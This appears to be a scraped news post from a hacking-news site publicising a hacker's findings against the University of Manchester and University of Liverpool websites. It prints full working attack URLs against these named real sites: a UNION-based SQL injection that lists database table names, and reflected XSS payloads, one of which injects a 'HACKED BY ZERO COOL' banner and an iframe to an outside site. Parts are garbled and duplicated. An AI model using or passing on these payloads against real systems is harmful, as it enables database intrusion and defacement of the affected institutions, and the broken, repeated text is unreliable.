Multiple vulnerability found by Zero on the university of manchester and university of liverpool's website
University Of Manchester:-
webiste: - http://www.manchester.ac.uk/
Vulnerability: - SQL-i & Non persistence XSS
Vulnerable Link(SQL-i):- http://www.manchester.ac.uk/ aboutus/news/archive/list/? year=2011&month=-02+union+ select+1,group_concat%28table_ name%29,3,4,5,6,7,8,9,10,11, 12+FROM+information_schema. tables%20WHERE%20table_schema= database%28%29--
Vulnerable Link(XSS):- http://www.manchester.ac.uk/aboutus/search/index.htm?num=10&as_dt=i&oe=UTF8&ie=UTF8&access=p&filter=1&numgm=5&output=xml_no_dtd&client=MAN_aboutus_search&site=University&q=%3Cscript%3Ealert%28%22A%22%29%3C/script%3E
University Of Liverpool:-
SHARE OUR NEWS DIRECTLY ON SOCIAL NETWORKS:-University Of Manchester:-
webiste: - http://www.manchester.ac.uk/
Vulnerability: - SQL-i & Non persistence XSS
Vulnerable Link(SQL-i):- http://www.manchester.ac.uk/
Vulnerable Link(XSS):- http://www.manchester.ac.uk/aboutus/search/index.htm?num=10&as_dt=i&oe=UTF8&ie=UTF8&access=p&filter=1&numgm=5&output=xml_no_dtd&client=MAN_aboutus_search&site=University&q=%3Cscript%3Ealert%28%22A%22%29%3C/script%3E
University Of Liverpool:-
webiste: - http://www.liv.ac.uk/
Vulnerability: - Blind SQL-i & Non persistence XSS
Vulnerable Link(XSS):- http://www.liv.ac.uk/search/? q=%3E%22%3E%3CMARQUEE% 3EHACKED%20BY%20ZERO%20COOL% 3C/MARQUEE%3E%3Ciframe+src+% 3D%22http%3A%2F%2Fwww. voiceofgreyhat.com%22+width% 3D%22100%25%22+height%3D% 22100%25%22%3E%3C%2Fiframe%3E& Submit=Go&btnG=Search&site= default_collection&client= default09&proxystylesheet= default09&output=xml_no_dtd
Blind SQL-i
Vulnerable Link(XSS):- http://www.liv.ac.uk/search/?
Blind SQL-i
LINK TO OUR HOME PAGE :
Voice Of GREYHAT is a non-profit Organization propagating news specifically related with Cyber security threats, Hacking threads and issues from all over the spectrum. The news provided by us on this site is gathered from various Re-Sources. if any person have some FAQ's in their mind they can Contact Us. Also you can read our Privacy Policy for more info.
Thank You !
-Team VOGH
If you enjoyed VOGH News, Articles Then Do Make sure you to Subscribe Our RSS feed. Stay Tuned with VOGH and get Updated about Cyber Security News, Hacking Threads and Lots More. All our Articles and Updates will directly be sent to Your Inbox. Thank You!
-Team VOGH
Categories:
vulnerablity